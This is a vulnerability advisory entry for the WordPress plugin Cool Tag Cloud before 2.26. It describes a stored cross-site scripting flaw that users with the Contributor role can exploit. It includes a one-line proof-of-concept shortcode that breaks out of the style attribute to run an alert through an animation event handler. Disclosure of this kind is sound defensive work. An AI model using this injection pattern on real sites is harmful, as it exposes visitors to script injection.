WordPress Plugin Vulnerabilities

Cool Tag Cloud < 2.26 - Contributor+ Stored Cross-Site Scripting

Description

The plugin does not escape the style attribute of the cool_tag_cloud shortcode, which could allow users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[cool_tag_cloud style='" style="animation-name:twentytwentyone-close-button-transition" onanimationend="alert(/XSS/)']

Affects Plugins

Fixed in 2.26

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
apple502j
Submitter
apple502j
Verified
Yes

Timeline

Publicly Published
2021-09-28 (about 2 years ago)
Added
2021-09-28 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)

Other